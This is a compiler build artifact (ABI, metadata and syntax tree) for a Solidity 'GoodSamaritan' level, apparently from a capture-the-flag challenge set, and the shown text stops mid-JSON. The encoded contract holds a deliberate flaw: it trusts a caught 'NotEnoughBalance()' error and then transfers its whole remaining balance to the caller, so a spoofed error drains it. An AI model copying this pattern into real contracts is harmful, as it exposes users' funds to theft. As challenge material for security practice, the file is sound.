+{"abi":[{"type":"function","name":"notify","inputs":[{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"notify(uint256)":"98d078b4"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"notify\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GoodSamaritan.sol\":\"INotifyable\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/levels/GoodSamaritan.sol\":{\"keccak256\":\"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615\",\"dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"notify"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GoodSamaritan.sol":"INotifyable"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/levels/GoodSamaritan.sol":{"keccak256":"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947","urls":["bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615","dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GoodSamaritan.sol","id":53328,"exportedSymbols":{"Address":[48259],"Coin":[53225],"GoodSamaritan":[53146],"INotifyable":[53327],"Wallet":[53321]},"nodeType":"SourceUnit","src":"32:2543:87","nodes":[{"id":53068,"nodeType":"PragmaDirective","src":"32:31:87","nodes":[],"literals":["solidity",">=","0.8",".0","<","0.9",".0"]},{"id":53069,"nodeType":"ImportDirective","src":"65:53:87","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Address.sol","file":"openzeppelin-contracts-08/utils/Address.sol","nameLocation":"-1:-1:-1","scope":53328,"sourceUnit":48260,"symbolAliases":[],"unitAlias":""},{"id":53146,"nodeType":"ContractDefinition","src":"120:668:87","nodes":[{"id":53072,"nodeType":"VariableDeclaration","src":"149:20:87","nodes":[],"constant":false,"functionSelector":"521eb273","mutability":"mutable","name":"wallet","nameLocation":"163:6:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"},"typeName":{"id":53071,"nodeType":"UserDefinedTypeName","pathNode":{"id":53070,"name":"Wallet","nameLocations":["149:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"149:6:87"},"referencedDeclaration":53321,"src":"149:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"visibility":"public"},{"id":53075,"nodeType":"VariableDeclaration","src":"175:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"187:4:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53074,"nodeType":"UserDefinedTypeName","pathNode":{"id":53073,"name":"Coin","nameLocations":["175:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"175:4:87"},"referencedDeclaration":53225,"src":"175:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53103,"nodeType":"FunctionDefinition","src":"198:125:87","nodes":[],"body":{"id":53102,"nodeType":"Block","src":"212:111:87","nodes":[],"statements":[{"expression":{"id":53083,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53078,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"222:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":53081,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"231:10:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Wallet_$53321_$","typeString":"function () returns (contract Wallet)"},"typeName":{"id":53080,"nodeType":"UserDefinedTypeName","pathNode":{"id":53079,"name":"Wallet","nameLocations":["235:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"235:6:87"},"referencedDeclaration":53321,"src":"235:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}},"id":53082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"231:12:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"src":"222:21:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53084,"nodeType":"ExpressionStatement","src":"222:21:87"},{"expression":{"id":53094,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53085,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"253:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":53091,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"277:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53090,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"269:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53089,"name":"address","nodeType":"ElementaryTypeName","src":"269:7:87","typeDescriptions":{}}},"id":53092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"269:15:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"260:8:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_Coin_$53225_$","typeString":"function (address) returns (contract Coin)"},"typeName":{"id":53087,"nodeType":"UserDefinedTypeName","pathNode":{"id":53086,"name":"Coin","nameLocations":["264:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"264:4:87"},"referencedDeclaration":53225,"src":"264:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}},"id":53093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"260:25:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"253:32:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53095,"nodeType":"ExpressionStatement","src":"253:32:87"},{"expression":{"arguments":[{"id":53099,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"311:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}],"expression":{"id":53096,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"296:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53098,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"303:7:87","memberName":"setCoin","nodeType":"MemberAccess","referencedDeclaration":53320,"src":"296:14:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Coin_$53225_$returns$__$","typeString":"function (contract Coin) external"}},"id":53100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"296:20:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53101,"nodeType":"ExpressionStatement","src":"296:20:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53076,"nodeType":"ParameterList","parameters":[],"src":"209:2:87"},"returnParameters":{"id":53077,"nodeType":"ParameterList","parameters":[],"src":"212:0:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53145,"nodeType":"FunctionDefinition","src":"329:457:87","nodes":[],"body":{"id":53144,"nodeType":"Block","src":"394:392:87","nodes":[],"statements":[{"clauses":[{"block":{"id":53115,"nodeType":"Block","src":"476:36:87","statements":[{"expression":{"hexValue":"74727565","id":53113,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"497:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":53107,"id":53114,"nodeType":"Return","src":"490:11:87"}]},"errorName":"","id":53116,"nodeType":"TryCatchClause","src":"476:36:87"},{"block":{"id":53141,"nodeType":"Block","src":"538:242:87","statements":[{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"hexValue":"4e6f74456e6f75676842616c616e63652829","id":53123,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"590:20:87","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""},"value":"NotEnoughBalance()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""}],"expression":{"id":53121,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"566:3:87","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53122,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"570:19:87","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"566:23:87","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":53124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"566:45:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53120,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"556:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"556:56:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":53127,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53118,"src":"626:3:87","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53126,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"616:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53128,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"616:14:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"556:74:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53140,"nodeType":"IfStatement","src":"552:218:87","trueBody":{"id":53139,"nodeType":"Block","src":"632:138:87","statements":[{"expression":{"arguments":[{"expression":{"id":53133,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"714:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53134,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"718:6:87","memberName":"sender","nodeType":"MemberAccess","src":"714:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53130,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"689:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"696:17:87","memberName":"transferRemainder","nodeType":"MemberAccess","referencedDeclaration":53307,"src":"689:24:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"689:36:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53136,"nodeType":"ExpressionStatement","src":"689:36:87"},{"expression":{"hexValue":"66616c7365","id":53137,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"750:5:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53107,"id":53138,"nodeType":"Return","src":"743:12:87"}]}}]},"errorName":"","id":53142,"nodeType":"TryCatchClause","parameters":{"id":53119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53118,"mutability":"mutable","name":"err","nameLocation":"533:3:87","nodeType":"VariableDeclaration","scope":53142,"src":"520:16:87","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":53117,"name":"bytes","nodeType":"ElementaryTypeName","src":"520:5:87","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"519:18:87"},"src":"513:267:87"}],"externalCall":{"arguments":[{"expression":{"id":53110,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"464:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53111,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"468:6:87","memberName":"sender","nodeType":"MemberAccess","src":"464:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53108,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"448:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53109,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"455:8:87","memberName":"donate10","nodeType":"MemberAccess","referencedDeclaration":53286,"src":"448:15:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:27:87","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53143,"nodeType":"TryStatement","src":"444:336:87"}]},"functionSelector":"25143638","implemented":true,"kind":"function","modifiers":[],"name":"requestDonation","nameLocation":"338:15:87","parameters":{"id":53104,"nodeType":"ParameterList","parameters":[],"src":"353:2:87"},"returnParameters":{"id":53107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53106,"mutability":"mutable","name":"enoughBalance","nameLocation":"379:13:87","nodeType":"VariableDeclaration","scope":53145,"src":"374:18:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53105,"name":"bool","nodeType":"ElementaryTypeName","src":"374:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"373:20:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GoodSamaritan","contractDependencies":[53225,53321],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53146],"name":"GoodSamaritan","nameLocation":"129:13:87","scope":53328,"usedErrors":[],"usedEvents":[]},{"id":53225,"nodeType":"ContractDefinition","src":"790:841:87","nodes":[{"id":53149,"nodeType":"UsingForDirective","src":"810:26:87","nodes":[],"global":false,"libraryName":{"id":53147,"name":"Address","nameLocations":["816:7:87"],"nodeType":"IdentifierPath","referencedDeclaration":48259,"src":"816:7:87"},"typeName":{"id":53148,"name":"address","nodeType":"ElementaryTypeName","src":"828:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},{"id":53153,"nodeType":"VariableDeclaration","src":"842:43:87","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"877:8:87","scope":53225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":53152,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":53150,"name":"address","nodeType":"ElementaryTypeName","src":"850:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"842:27:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":53151,"name":"uint256","nodeType":"ElementaryTypeName","src":"861:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":53159,"nodeType":"ErrorDefinition","src":"892:61:87","nodes":[],"errorSelector":"cf479181","name":"InsufficientBalance","nameLocation":"898:19:87","parameters":{"id":53158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53155,"mutability":"mutable","name":"current","nameLocation":"926:7:87","nodeType":"VariableDeclaration","scope":53159,"src":"918:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53154,"name":"uint256","nodeType":"ElementaryTypeName","src":"918:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":53157,"mutability":"mutable","name":"required","nameLocation":"943:8:87","nodeType":"VariableDeclaration","scope":53159,"src":"935:16:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53156,"name":"uint256","nodeType":"ElementaryTypeName","src":"935:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"917:35:87"}},{"id":53173,"nodeType":"FunctionDefinition","src":"959:131:87","nodes":[],"body":{"id":53172,"nodeType":"Block","src":"988:102:87","nodes":[],"statements":[{"expression":{"id":53170,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53164,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1056:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53166,"indexExpression":{"id":53165,"name":"wallet_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53161,"src":"1065:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1056:17:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"},"id":53169,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"3130","id":53167,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1076:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"hexValue":"36","id":53168,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1082:1:87","typeDescriptions":{"typeIdentifier":"t_rational_6_by_1","typeString":"int_const 6"},"value":"6"},"src":"1076:7:87","typeDescriptions":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"}},"src":"1056:27:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53171,"nodeType":"ExpressionStatement","src":"1056:27:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53161,"mutability":"mutable","name":"wallet_","nameLocation":"979:7:87","nodeType":"VariableDeclaration","scope":53173,"src":"971:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53160,"name":"address","nodeType":"ElementaryTypeName","src":"971:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"970:17:87"},"returnParameters":{"id":53163,"nodeType":"ParameterList","parameters":[],"src":"988:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53224,"nodeType":"FunctionDefinition","src":"1096:533:87","nodes":[],"body":{"id":53223,"nodeType":"Block","src":"1155:474:87","nodes":[],"statements":[{"assignments":[53181],"declarations":[{"constant":false,"id":53181,"mutability":"mutable","name":"currentBalance","nameLocation":"1173:14:87","nodeType":"VariableDeclaration","scope":53223,"src":"1165:22:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53180,"name":"uint256","nodeType":"ElementaryTypeName","src":"1165:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":53186,"initialValue":{"baseExpression":{"id":53182,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1190:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53185,"indexExpression":{"expression":{"id":53183,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1199:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1203:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1199:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1190:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1165:45:87"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53187,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1278:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":53188,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1289:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1278:25:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53221,"nodeType":"Block","src":"1547:76:87","statements":[{"errorCall":{"arguments":[{"id":53217,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1588:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":53218,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1604:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":53216,"name":"InsufficientBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53159,"src":"1568:19:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 